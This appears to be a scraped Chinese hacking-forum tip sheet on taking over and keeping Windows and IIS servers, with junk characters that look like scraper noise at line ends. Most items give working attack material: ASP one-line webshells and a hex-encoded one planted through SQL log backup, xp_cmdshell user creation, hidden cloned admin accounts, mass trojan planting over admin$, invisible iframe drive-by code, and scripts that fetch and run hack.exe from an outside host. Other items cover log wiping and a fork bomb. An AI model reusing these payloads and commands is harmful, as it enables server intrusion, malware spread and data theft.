Xp系统修改权限防止病毒或木马等破坏系统,cmd下,# w$ Y5 z' v9 o# v8 {& q+ q0 F
cacls C:\windows\system32 /G hqw20:R
! Y& g9 [0 R0 k, ~. `思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
4 L( u! T+ r" ^3 ?恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
. w. }: d# m, ?& O( s
& h, z' I' ?; g4 z2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。& a2 S9 M. q( E' P
- J/ Y$ [- W- E5 ~; Z7 x; K
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。! y9 P R0 Z( Q) i% J; K# D
6 \) E# c; Z: e* d- S
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号4 G1 _+ x+ D: X7 X) f5 P) t- a
' `) u8 W, ^, t% L, q5 C: K$ l5、利用INF文件来修改注册表# K( D" O9 v; G
[Version]
2 @, V* [2 r9 }' Z4 n, ~9 v! k' rSignature="$CHICAGO$"
7 c2 R/ {( ^8 f$ v2 ~[Defaultinstall]
2 N, Q9 |6 g6 yaddREG=Ating% D/ g" G1 @, t# O
[Ating]
2 J& _1 |1 ?# d! P- jHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
; V! i5 e' j4 E( d7 G3 |* A: y# k+ `% T以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:: \5 u0 Y" n: {8 _; |2 c
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径9 p" ?6 e- U3 w G. l& ~# z0 M* k
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU+ Z2 H4 A2 \# Y! N/ A9 A
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU
$ b$ S, j4 o+ q9 @HKEY_CURRENT_CONFIG 简写为 HKCC
- W9 k9 L2 G) t9 [0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
8 N1 e$ Y" W' m7 J; _* Y$ z& ]9 J"1"这里代表是写入或删除注册表键值中的具体数据/ { i, B9 G2 c
# e/ {4 M4 D( @
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
/ b" a6 Y6 S w! _& a# o多了一步就是在防火墙里添加个端口,然后导出其键值
: G; n) a+ v# `[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]4 [2 K; X+ {; y& O$ Q
6 R) h* k7 b+ r" {4 U2 }5 |
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽, O" O8 p- X3 Y3 K% m8 W ~" q
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。 @8 R0 O; X5 ?! Z, y9 k- e
9 e: r' Y8 }; g9 R
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。6 v \6 f2 h" u5 S+ t
# V3 \3 A- w* X" a1 b4 g- y# q
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,$ ~" U' Q+ ]: N- E8 P' T. s
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。1 v1 u& ~& B" K
/ R( b, S- L/ n* v- E0 X: E5 f# Y
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”$ `" Y0 B: ~, U) X3 L
) A& Y+ n3 h# Z# c6 [, t7 ~1 e
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,' z, T+ d$ W- a* D
用法:xsniff –pass –hide –log pass.txt. m/ y/ m0 _1 M6 Y- q
3 {! i$ a1 d' W: ]' R
12、google搜索的艺术8 d* X7 U$ A5 C6 O
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”
; a( Q1 l6 c0 H或“字符串的语法错误”可以找到很多sql注入漏洞。
% ~' s1 ]; j6 b- E
% f" o2 E! d1 O13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。7 k; [9 V6 L* m/ P" l8 g
* \0 P8 w4 I: u2 x! j
14、cmd中输入 nc –vv –l –p 1987
2 S/ M2 O! P) l2 {. L. g. {: M0 a做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃# \2 D% l" C% `2 [* t! |2 H
4 k' S/ k; L H8 ^; G( z) a
15、制作T++木马,先写个ating.hta文件,内容为( G! s- ]& j P6 d
<script language="VBScript">& [7 H. d$ X/ {/ ?* R/ c
set wshshell=createobject ("wscript.shell" )
6 X0 Z; K5 n2 t) S+ F- p% u# d5 y1 Za=wshshell.run("你马的名称",1)$ ~- ?' t- [6 [8 }# N3 m8 P; V
window.close
2 p5 Y% G6 x) v! @. {</script>
- |( R& a; I+ N4 j4 o再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。 y) R) N+ g, {, ?7 O
. Q% ]5 C' R, k l: x; i16、搜索栏里输入( u& H. S p4 z* x( Y
关键字%'and 1=1 and '%'='
2 n- G; \' m5 ~/ W# H$ d# B关键字%'and 1=2 and '%'='6 ^' v4 ]5 h! F V; l
比较不同处 可以作为注入的特征字符
. ]/ M9 D+ T) K" v/ y! M
( M }2 `3 L) X& D4 W$ ~17、挂马代码<html>* w* r4 z) C$ L. a/ n @# Y
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
# f( q9 l: h& L% P1 D9 _</html>
. |( f5 ]/ _7 n) |9 l
0 P9 N) j6 W9 o: S! I8 U2 @8 i18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,
) Q4 [- {6 r6 i! Q1 }' z. Pnet localgroup administrators还是可以看出Guest是管理员来。
/ p# b5 d0 t7 p- _
, z. _% G1 j+ g; g! r N0 {19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
" s8 g0 C8 G6 q4 v/ i Z1 ?" y. l用法: 安装: instsrv.exe 服务名称 路径
6 j1 A k7 N' o$ F2 a卸载: instsrv.exe 服务名称 REMOVE/ ]0 L. d' J/ X6 c
4 _/ m# g; W* V- B' Z$ _
; @5 j5 o; R8 V
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉
% t" D1 ]" _, Z不能注入时要第一时间想到%5c暴库。
3 d' T+ R5 S* s7 N' c2 L' d4 P- m; `: h% w! x+ c9 n& ?
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~) [1 r; i# [! e& U
/ }. e {! m+ [" l" K0 ?! G P
23、缺少xp_cmdshell时
$ Q4 t% F/ O/ d) q+ N" g尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'" q$ n. b( }! W9 u8 e7 d
假如恢复不成功,可以尝试直接加用户(针对开3389的)
4 _* f. S3 m( }: `$ O! U) sdeclare @o int9 U! J6 w& l. N- C) q! v6 Q2 d
exec sp_oacreate 'wscript.shell',@o out% z: q5 i- _7 H/ W
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
# k( ^: ?/ [( C* `+ \
- ?* m7 x; S5 g24.批量种植木马.bat
! q7 C+ S' t: i- \0 O, efor /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中; _, m \' B8 N% |4 ?& ^4 C
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
3 |# g. i- A' I- `- S/ {扫描地址.txt里每个主机名一行 用\\开头
5 s7 O* t* S2 B; l6 A6 \3 s) N" N. C% u' P' o5 J
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
1 W6 h& n4 O2 \( ^+ V7 \' w
2 W. R1 H, i. W+ w s8 C5 v4 s# T26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名., \, ]' \2 j9 Q. A Q$ r/ W
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.* S/ A" l# f* x9 k
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
0 d' a }" J: Q z* ]" o* V0 i, r) W/ k- O7 O) x3 z
27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
% f* F: L9 |5 j ~8 e8 O E然后用#clear logg和#clear line vty *删除日志
9 ?# b% S8 k; d( r- p$ Z. y) |
# z( ?; p; K/ I, ]28、电脑坏了省去重新安装系统的方法: m$ r* N) f0 F# r- w
纯dos下执行,
1 M# O! u+ z0 r+ p# p4 Oxp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config3 b) m" }7 E' I, b$ X% W
2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config: G; g1 V. P) ?+ x8 |7 C
+ ^! ^5 H; w* z) N. j8 U# Y, ?: C29、解决TCP/IP筛选 在注册表里有三处,分别是:
5 O* w1 P W* W' yHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip$ Z3 Z! ~4 o& c( g* S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
' R) D4 f( M9 oHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip( H% Y8 \- g- z8 N: g0 z
分别用
, y, x9 T) ]7 U7 Y$ G7 H( x2 J( Tregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) b0 q" Y/ {: g- u+ L+ o# Dregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
$ L* ^0 S2 M0 I6 z9 m; Z lregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ i3 j# ~2 X! V4 v, Z- X% F/ m8 s命令来导出注册表项$ U' @( _0 O, e( B
然后把三个文件里的EnableSecurityFilters"=dword:00000001,5 |: q2 K" S, x% w: G* | G
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
% _% C8 K- U7 D$ |% B/ Hregedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。9 U7 S* E: l& T. V4 P* w& I+ e
. {' U& ^. a+ Y& B4 ]( _30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U' D& R h0 ~# }. g9 {, Z
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
3 a' I& |) o, Y* h' w& M2 U3 J9 k; d, O( C" u1 Y; A$ b# }
31、全手工打造开3389工具
1 A9 ]4 X1 p/ h% v打开记事本,编辑内容如下:- R& G7 P3 z2 C% Z# l d
echo [Components] > c:\sql) Z! F% S7 V6 S
echo TSEnable = on >> c:\sql
4 I/ G- U, S8 m: Asysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q) a. W) H7 ]7 E9 c+ M& |' V8 n7 A
编辑好后存为BAT文件,上传至肉鸡,执行& k- x+ {( u' ~( d: s
^9 {" t( O# S5 }7 h32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
- _) @% q# ]% p a8 C
" @5 b/ c. b$ p4 [33、让服务器重启% J8 L5 r7 x8 R
写个bat死循环:! \; f7 f( r/ `2 L
@echo off
0 u! [7 K: E$ V8 p1 ?& h* |:loop1# X% z; u- F5 n& i
cls1 U" z) W3 @9 ]9 B1 i
start cmd.exe
, s7 I# z7 o* b! o0 {1 Y, [" g4 mgoto loop1
n) B5 J7 T; k+ H0 {! A保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启
1 i3 p2 i! t5 B- X1 \# l
; Q' t& G2 Y2 `" I34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
4 T4 E: u0 M8 K@echo off2 D9 h0 B0 f" f; z$ T& Q* i
date /t >c:/3389.txt
- J8 L% _- V9 N, J- N" Itime /t >>c:/3389.txt: _8 H* u' q, A# J) _ a
attrib +s +h c:/3389.bat
. V! E* O. x2 k- o, `7 S& Q, Z- cattrib +s +h c:/3389.txt
; P. G8 Z8 N. K! b* Gnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
- H' U# Z) k+ `并保存为3389.bat- X6 h0 J: T7 u, A5 P S
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号7 M% z+ X' K( I l, h+ K. d; [4 r! F
1 e+ x) e& V Y3 n5 }0 u7 `35、有时候提不了权限的话,试试这个命令,在命令行里输入:
7 j. J( u ~3 Dstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
$ A w! U% Y$ |9 z+ s0 M4 N$ V0 J输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。) S* D( T f0 {$ x9 A2 F7 B! _( w. L
8 ?: C4 k; |! G$ D# d36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件7 Q b7 Y4 t0 }
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址0 O2 |. @7 w! f \" |
echo 你的FTP账号 >>c:\1.bat //输入账号1 ^$ u; y; y* m: Q4 t' r/ o
echo 你的FTP密码 >>c:\1.bat //输入密码
% \* {& p3 W. U; kecho bin >>c:\1.bat //登入
4 N/ M; l7 t5 q# n4 J$ Q) ^echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么8 ~3 V$ f# V2 V0 W) E
echo bye >>c:\1.bat //退出
+ \7 t1 x- y6 B8 ]; ?然后执行ftp -s:c:\1.bat即可( A1 N8 N& [( ]
8 C- G, [# I9 L* X1 c( ]7 w37、修改注册表开3389两法
) v% a, ^( Z/ y3 W! t" H(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表! X. x9 z8 W6 g/ ]5 d! U5 H
echo Windows Registry Editor Version 5.00 >>3389.reg. u, u$ J2 n8 T. l0 T G
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
+ a3 N8 O6 i p s- b* b1 Qecho "Enabled"="0" >>3389.reg0 Z+ _" {; q; @/ J" N" A6 ~0 x
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows( Q2 B' E- `( `* A* J2 j8 l
NT\CurrentVersion\Winlogon] >>3389.reg( o: u5 Q; b1 `% ]
echo "ShutdownWithoutLogon"="0" >>3389.reg
* s7 y. p, l# y( G0 `% X* k; T$ recho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
Q/ x6 J) Q8 A" Q6 P/ L>>3389.reg
/ p% i) ~$ c8 T, ]echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
! }0 M2 b- y5 V h2 i6 ?! Cecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]' I2 l; b( I D. d
>>3389.reg8 Y3 y: x \4 Q0 f5 S% s
echo "TSEnabled"=dword:00000001 >>3389.reg# i: G3 F0 a9 t4 D8 `+ S
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
0 C/ a5 `; C% M0 V- G8 Necho "Start"=dword:00000002 >>3389.reg
+ G( J! P' {% L7 ?4 x- Uecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
$ D, D/ y% q% j1 Z( M$ D>>3389.reg; I T+ ]* z1 }6 \
echo "Start"=dword:00000002 >>3389.reg
, H* T% U$ N& R$ Fecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
' b8 `# a" \: j% q7 P- V1 c/ ^/ Zecho "Hotkey"="1" >>3389.reg+ |9 E6 X- H; o$ C$ U+ i9 B
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal! Y3 b% s$ n$ k9 x/ m$ V
Server\Wds\rdpwd\Tds\tcp] >>3389.reg
6 C! W8 V6 y3 n5 A/ z4 \+ }echo "PortNumber"=dword:00000D3D >>3389.reg
$ v8 i7 c/ i h I+ b' ]$ _echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal' Y5 v. m5 F& N
Server\WinStations\RDP-Tcp] >>3389.reg* d: H$ [9 u" U
echo "PortNumber"=dword:00000D3D >>3389.reg8 _2 W& {, V' d* i. L! Q" `
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。. Y2 ~" q: p1 _
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
8 F' i, `" r V: q* D/ T因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
; `6 W5 X; `# d$ e0 G0 G$ L(2)winxp和win2003终端开启
% A+ F: |/ F3 P4 V5 Z# ~* L用以下ECHO代码写一个REG文件:: y( z, g6 Z+ h/ Q, G1 V
echo Windows Registry Editor Version 5.00>>3389.reg: p; Z! ^0 H6 P; P; B$ B! r
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
9 [. ^- C2 l3 I3 z# d1 DServer]>>3389.reg% W1 Q) i9 m" x! x
echo "fDenyTSConnections"=dword:00000000>>3389.reg
0 |( D( f7 ^" ` s2 @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
8 I/ z; `5 M* ?* A! gServer\Wds\rdpwd\Tds\tcp]>>3389.reg
+ ^& u Z! m3 F& z: l) h, Gecho "PortNumber"=dword:00000d3d>>3389.reg
) {2 ^1 }. ]3 D1 b9 J' Jecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal: S6 r$ W. E( d0 [
Server\WinStations\RDP-Tcp]>>3389.reg
! g& |0 K6 r5 D% [( J# cecho "PortNumber"=dword:00000d3d>>3389.reg0 P+ e7 r$ E8 L0 F* Q2 v& Q( G
然后regedit /s 3389.reg del 3389.reg
: K8 D2 d F8 _1 r# n2 e$ dXP下不论开终端还是改终端端口都不需重启 |: p5 Q7 m4 [+ g
" O) t' X; O1 i3 e
38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃
Y4 K/ F7 l+ k) g6 ]) ^8 u( O用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'( ?( _+ Z# A( F& C8 o
0 W6 E( ^) ]1 R P j! _ X' {& c
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
6 h3 y7 |: E6 u7 | R# `& f(1)数据库文件名应复杂并要有特殊字符$ G* l3 S9 q q8 B; }1 ^
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源# m3 E5 ]: B' q; D4 k
将conn.asp文档中的
$ ], f4 E) C& L; vDBPath = Server.MapPath("数据库.mdb")0 A/ |! w% d; p( R3 C }
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
( { @( v6 y! P' O# l3 X! w! |7 a9 j6 N1 n( ^7 D0 B
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置# D- P$ e; _# s0 {
(3)不放在WEB目录里5 C6 |0 ]5 ^: L1 M3 r
! T( V2 w8 w( p' V40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
9 B4 p+ c+ O: N; f7 n! y% i可以写两个bat文件% e2 R% R+ b3 K* B7 R1 M, ^& u
@echo off% f6 H7 G$ s" x
@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe \! D6 m9 s1 r* S) [/ E; \) H" `
@del c:\winnt\system32\query.exe) `5 H+ |) ^9 M7 t- y* x: Z7 F
@del %SYSTEMROOT%\system32\dllcache\query.exe$ a% p/ Q) L: k* F6 y/ ?8 P# X
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的8 t5 q" Q$ Z. M7 U1 _- R
f2 R3 Y2 y9 ]* p0 D@echo off) `$ _( b M' C
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
0 {$ a8 A! P) q/ t8 J I6 a: u5 T@del c:\winnt\system32\tsadmin.exe
' M: R; c. y$ s! p1 N, w7 H0 Y@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex# n- o$ n; d) o' D& ]
6 ^- X% J9 E2 i5 |4 G5 Z w41、映射对方盘符
}1 S8 M7 ?9 `8 |/ p# S. n" wtelnet到他的机器上,8 S% V+ Y: l' W8 a4 s. q/ Z ^
net share 查看有没有默认共享 如果没有,那么就接着运行) A1 v. [3 ^% V. p
net share c$=c:
1 @3 I/ d( V$ C2 ~0 l. pnet share现在有c$8 _" c( |8 f+ h. s
在自己的机器上运行
7 {! ` Z, g2 Y" ^4 h5 ^net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
4 u6 c G, H# g/ T. [2 G! {; p! b
% A2 ?4 n7 N& A& J42、一些很有用的老知识# l0 B/ x8 A# y) O
type c:\boot.ini ( 查看系统版本 )
; O' }; I; X- |net start (查看已经启动的服务)
6 N% y3 J# @/ ?& oquery user ( 查看当前终端连接 )
% i- H* q- h. L% ynet user ( 查看当前用户 )! Z W& o6 Y/ _0 ]4 M9 v: A
net user 用户 密码/add ( 建立账号 )4 E- a, X; O( d, n
net localgroup administrators 用户 /add (提升某用户为管理员)
0 r+ Q* ~ K, w) sipconfig -all ( 查看IP什么的 )9 [5 Z* H/ s* i7 T$ V
netstat -an ( 查看当前网络状态 ) S7 W7 ]# F5 G6 @7 _% V: m
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
1 E& J2 u, S5 I# b( A6 z- W# L克隆时Administrator对应1F4
( }+ j. j9 j% v2 p% }6 s* C5 `guest对应1F5
2 ]9 v8 i2 w# ]4 x" @0 N+ |tsinternetuser对应3E8$ L% O: K$ P# c2 r; Q$ S D7 ]( e
8 V$ {) `8 E9 M6 a1 c4 \4 H43、如果对方没开3389,但是装了Remote Administrator Service+ \: d5 I: V) M' [, k& S
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接6 D0 n- J2 s% i' ? I2 h. Q
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息: o) D/ d1 U2 y7 H
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"1 O# e$ u2 X, @2 F: f
% o. k z. O- W! D+ f' e
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)
, ^$ F: F5 p/ d) Z本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)" L) U8 l$ o9 E
. J% v5 b' T1 O$ p- d! i45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)5 M. Y" U) H/ L( n- }
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open; N( S' D! {9 _* k' e- B0 L$ [
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =
8 Z$ B2 ]. @% K* k) V9 lCreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =$ ?' U( E* H# V+ I& E: z9 I& j: w
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs! t$ k, X3 h2 y7 I
(这是完整的一句话,其中没有换行符)
- y1 s& y1 ^6 X. m% D6 @! K然后下载:
2 |0 h6 F- h. v4 a4 G& W3 Mcscript down.vbs http://www.hack520.org/hack.exe hack.exe$ H. Q/ i* z: S
8 T% F! b2 W* {5 Z
46、一句话木马成功依赖于两个条件:0 r; I( C2 k* ]4 p, `* V3 k7 k
1、服务端没有禁止adodb.Stream或FSO组件
* \+ U; I- j( U" L- Q% T( m2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。: o5 j# S0 j( y; N/ f+ l9 x
( p& r' f+ n4 K9 f. I4 ]- R" j
47、利用DB_OWNER权限进行手工备份一句话木马的代码:: }% {$ L0 S6 w0 S
;alter database utsz set RECOVERY FULL--: A/ r9 }7 c) q+ @3 a k% Z8 B
;create table cmd (a image)--0 @; `9 Q2 H5 }4 j. K2 r
;backup log utsz to disk = 'D:\cmd' with init--" e, u7 K: I5 v! `6 D" [" ?
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
1 k: f7 { w9 e' g' a;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
/ a h( u: d" C9 n- W0 l9 t B注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。! D2 }9 D7 ]3 c# H" W& E
8 Y3 P% x; u3 X
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
! r) T7 D% N! m8 a2 r9 N/ N h- i7 {; U* v- ?- A* t. V
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
- e% i1 M+ u9 a* U/ `. X所有会话用 'all'。$ Z1 z, n* S! ^- p( |9 d
-s sessionid 列出会话的信息。
) {! I9 s5 Y* o% x9 H( Y-k sessionid 终止会话。
- y* ?# \. u- n+ Y+ g-m sessionid 发送消息到会话。
/ t3 d1 h! s: U7 _; I8 `
( ~8 M% l7 q M/ V7 q7 ?config 配置 telnet 服务器参数。, \/ I' x; l% a& y" q- t. d8 U
6 q& w) U' t- p0 b1 @6 Mcommon_options 为:
" m9 A' O$ @5 Q% @8 F-u user 指定要使用其凭据的用户
" C4 W2 C4 W1 z3 i x. V1 O1 y-p password 用户密码
! q' R& p/ e$ S% z) ?2 r. J
m9 X% T& w* ?1 S# fconfig_options 为:
8 P4 y4 D2 C7 q+ d3 z: I) Adom = domain 设定用户的默认域
) x2 G$ b. {9 X9 mctrlakeymap = yes|no 设定 ALT 键的映射# o F" n& O4 O5 u2 \* O, m
timeout = hh:mm:ss 设定空闲会话超时值
; S' w: q3 d: s1 z$ T) V8 Y3 H) Htimeoutactive = yes|no 启用空闲会话。
$ b: x8 u6 H3 D: F/ |1 u0 N1 zmaxfail = attempts 设定断开前失败的登录企图数。6 d% {3 X/ p$ Z5 _) |
maxconn = connections 设定最大连接数。
' E# F) w( \$ Q0 {" H5 |port = number 设定 telnet 端口。
, K O# B C' B: ?5 h$ ]) usec = [+/-]NTLM [+/-]passwd8 ~, }. E/ O% [: V, P/ f
设定身份验证机构9 T/ E* F0 B$ g& x* V. a
fname = file 指定审计文件名。7 I# F9 q9 a" I2 T! g
fsize = size 指定审计文件的最大尺寸(MB)。
/ F: A m! O0 l2 G% kmode = console|stream 指定操作模式。3 {! t" L- L7 r. p3 C% ~
auditlocation = eventlog|file|both
" G+ t6 ^7 |) k6 r x4 a指定记录地点
* z7 h$ O, C& _' p) z' @audit = [+/-]user [+/-]fail [+/-]admin
7 V; Y4 C, i7 E' Q- J# T# G0 G% R6 ]0 y% K0 h& K
49、例如:在IE上访问:
! K# K B0 d* H+ Owww.hack520.org/hack.txt就会跳转到http://www.hack520.org/
4 ~# ?/ _8 W4 h) C( }. \hack.txt里面的代码是:
$ c% X \& k$ G2 I, \<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/"># v0 l) ~! v ~& P( C
把这个hack.txt发到你空间就可以了!/ L6 W4 Y9 f0 S7 F# Q, I2 n
这个可以利用来做网马哦!
1 }0 w1 X' e, n' U8 s2 _& Y0 s3 V& ~
50、autorun的病毒可以通过手动限制!
+ D; r" f4 M9 U8 V5 F S5 v, y- K1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!4 u5 N% K! c' z1 y/ ~7 a7 A
2,打开盘符用右键打开!切忌双击盘符~
% l/ g) a' n3 W6 i* _* h- q3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
3 n# H5 F" L% h( J6 N; S, P2 R
51、log备份时的一句话木马:
6 t* H0 P) s6 `- ka).<%%25Execute(request("go"))%%25>
6 p8 n% u" g/ o+ e+ u1 u9 b, Ub).<%Execute(request("go"))%>
4 K6 j0 @: a* }, }c).%><%execute request("go")%><%
* u0 [! g! v3 ?; n! D% Jd).<script language=VBScript runat=server>execute request("sb")</Script>
5 e, ?5 Y& \+ s) {e).<%25Execute(request("l"))%25>
- Q$ B! R7 G* ~8 I9 O) z7 Pf).<%if request("cmd")<>"" then execute request("pass")%>
% G9 B" s* Z0 }# n: h, l1 q
4 O* K9 A, T* Q- t; h6 M. l7 c52、at "12:17" /interactive cmd
